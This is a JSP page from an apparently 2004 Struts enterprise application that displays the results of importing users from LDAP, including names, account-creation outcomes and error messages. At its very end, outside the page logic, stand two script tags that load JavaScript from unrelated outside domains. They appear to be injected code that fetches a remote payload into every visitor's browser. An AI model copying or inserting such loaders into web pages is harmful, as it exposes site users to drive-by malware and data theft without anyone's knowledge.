<%
/*
 * @(#)ViewLDAPImportResults.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ViewLDAPImportResults.jsp

  This class is reflecting business logic uses.

    @author           Charlie liu
    @company          DCIVision Limited
    @creation date    15/12/2004
    @version          $Revision: 1.2.26.8 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout"%>
<%@ page import="java.util.*"%>
<%@ page import="org.apache.struts.action.ActionError"%>
<%@ page import="com.dcivision.staff.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.ldap.web.*"%>
<%@ page import="com.dcivision.ldap.bean.*"%>
<%@ page import="com.dcivision.ldap.core.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%
  String[][]  LABEL_MAP = { {"ID",GlobalConstant.NOT_AVAILABLE},
                            {"user.columnheader.ldap_dn_name", GlobalConstant.NOT_AVAILABLE},
                            {"user.columnheader.ldap_full_name", GlobalConstant.NOT_AVAILABLE},
                            {"user.columnheader.ldap_create_user_flag", GlobalConstant.NOT_AVAILABLE},
                            //{"user.columnheader.ldap_create_staff_flag", GlobalConstant.NOT_AVAILABLE}
                          };

  LDAPImportForm form = (LDAPImportForm)request.getAttribute("LDAPImportForm");
  request.setAttribute("results",form.getImportResults());
  String returnURL = "LDAPImport.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
%>

<layout:listBar>
    <div class="button">
    </div>
</layout:listBar>

<!-- Table Showing Record List Begin -->
<layout:returnButton className="btn-standard" returnURL="SelectSource.do"/>
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader checkColumn="<%=false%>" editColumn="<%=false%>" copyColumn="<%=false%>"form="listUserGroupForm" labelMap="<%=LABEL_MAP%>" sortAttribute="ID" sortOrder ="ASC"/>
  </tr>
  <!-- Table Column Header End -->

  <!-- Record Looping Begin -->
  <logic:iterate id="importResult" name="results" scope="request" indexId="listLoopCnt">
  <%
    LdapImportResult result = (LdapImportResult)importResult;
    String userName="";
    String accountResult="";
    String staffResult="";
    ActionError actionError = null;
    String errorMsg = "";
    if(result.getExceptionList().size()>0){    
      LdapImportException error = (LdapImportException)result.getExceptionList().get(0);
      userName = " - ";
      actionError = error.getActionError();      
      errorMsg = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale() , actionError.getKey());
      if(error instanceof AttributeMissingException){
        errorMsg += MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale() ,((com.dcivision.ldap.core.AttributeMissingException)error).getMissingAttributeKey());
      }
    }else{
      userName = result.getStaff().getFullName();     
      accountResult = result.getCreateAccountResult();          
      staffResult = result.getCreateStaffResult();      
    }
  %>  
  <tr>
    <td valign="top" ><%=result.getLdapName()%></td>
    <td valign="top" align="center"><%=userName%></td>
    <% if(result.getExceptionList().size()>0){ %>
      <td valign="top" align="center" colspan="2"><%=errorMsg%></td>
    <%}else{%>
      <td valign="top" align="center"><bean:message key='<%=accountResult%>'/></td>
    <%}%>      
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<!--
<div class="listStatusBar">
<layout:pager form="listUserRoleForm" name="results">
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
</layout:pager>
</div>
-->
<!-- Pager Information End -->
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>